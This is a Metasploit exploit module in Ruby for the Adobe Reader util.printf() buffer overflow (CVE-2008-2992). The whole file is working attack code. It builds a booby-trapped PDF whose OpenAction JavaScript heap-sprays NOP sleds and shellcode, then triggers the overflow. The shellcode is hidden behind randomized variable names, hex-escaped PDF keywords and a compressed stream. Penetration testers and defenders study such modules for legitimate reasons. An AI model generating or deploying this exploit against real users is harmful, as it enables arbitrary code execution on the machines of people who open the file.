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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'zlib'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Adobe util.printf() Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
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        < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
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        entry, an attacker may be able to execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
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      'References'     =>
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        [
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          [ 'CVE', '2008-2992' ],
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          [ 'OSVDB', '49520' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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      'Payload'        =>
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        {
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          'Space'         => 1024,
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          'BadChars'      => "\x00",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],
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        ],
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      'DisclosureDate' => '2008-02-08',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
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      ])
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  end
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  def exploit
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Make some nops
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    nops    = Rex::Text.to_unescape(make_nops(4))
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    # Randomize variables
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    rand1  = rand_text_alpha(rand(100) + 1)
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    rand2  = rand_text_alpha(rand(100) + 1)
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    rand3  = rand_text_alpha(rand(100) + 1)
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    rand4  = rand_text_alpha(rand(100) + 1)
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    rand5  = rand_text_alpha(rand(100) + 1)
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    rand6  = rand_text_alpha(rand(100) + 1)
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    rand7  = rand_text_alpha(rand(100) + 1)
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    rand8  = rand_text_alpha(rand(100) + 1)
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    rand9  = rand_text_alpha(rand(100) + 1)
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    rand10 = rand_text_alpha(rand(100) + 1)
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    rand11 = rand_text_alpha(rand(100) + 1)
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    script = %Q|
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    var #{rand1} = unescape("#{shellcode}");
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    var #{rand2} ="";
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    for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
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    #{rand4} = #{rand2} + #{rand1};
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    #{rand5} = unescape("#{nops}");
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    #{rand6} = 20;
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    #{rand7} = #{rand6}+#{rand4}.length
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    while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
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    #{rand8} = #{rand5}.substring(0, #{rand7});
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    #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
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    while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
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    #{rand10} = new Array();
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    for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
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    util.printf("%45000.45000f", 0);
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          |
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    # Create the pdf
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    pdf = make_pdf(script)
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(pdf)
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  end
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  def random_non_ascii_string(count)
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    result = ""
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    count.times do
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      result << (rand(128) + 128).chr
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    end
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    result
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  end
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  def io_def(id)
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    "%d 0 obj" % id
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  end
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  def io_ref(id)
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    "%d 0 R" % id
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  end
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  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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  def n_obfu(str)
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    result = ""
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    str.scan(/./u) do |c|
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      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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        result << "#%x" % c.unpack("C*")[0]
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      else
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        result << c
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      end
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    end
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    result
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  end
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  def ascii_hex_whitespace_encode(str)
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    result = ""
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    whitespace = ""
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    str.each_byte do |b|
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      result << whitespace << "%02x" % b
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      whitespace = " " * (rand(3) + 1)
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    end
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    result << ">"
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  end
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  def make_pdf(js)
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    xref = []
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    eol = "\x0d\x0a"
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    endobj = "endobj" << eol
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    # Randomize PDF version?
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    pdf = "%PDF-1.5" << eol
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    pdf << "%" << random_non_ascii_string(4) << eol
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    xref << pdf.length
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    pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
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    xref << pdf.length
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    pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
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    xref << pdf.length
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    pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
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    xref << pdf.length
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    pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
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    xref << pdf.length
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    pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
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    xref << pdf.length
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    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
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    pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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    pdf << "stream" << eol
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    pdf << compressed << eol
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    pdf << "endstream" << eol
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    pdf << endobj
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    xrefPosition = pdf.length
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    pdf << "xref" << eol
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    pdf << "0 %d" % (xref.length + 1) << eol
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    pdf << "0000000000 65535 f" << eol
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    xref.each do |index|
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      pdf << "%010d 00000 n" % index << eol
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    end
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    pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
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    pdf << "startxref" << eol
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    pdf << xrefPosition.to_s() << eol
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    pdf << "%%EOF" << eol
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  end
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end
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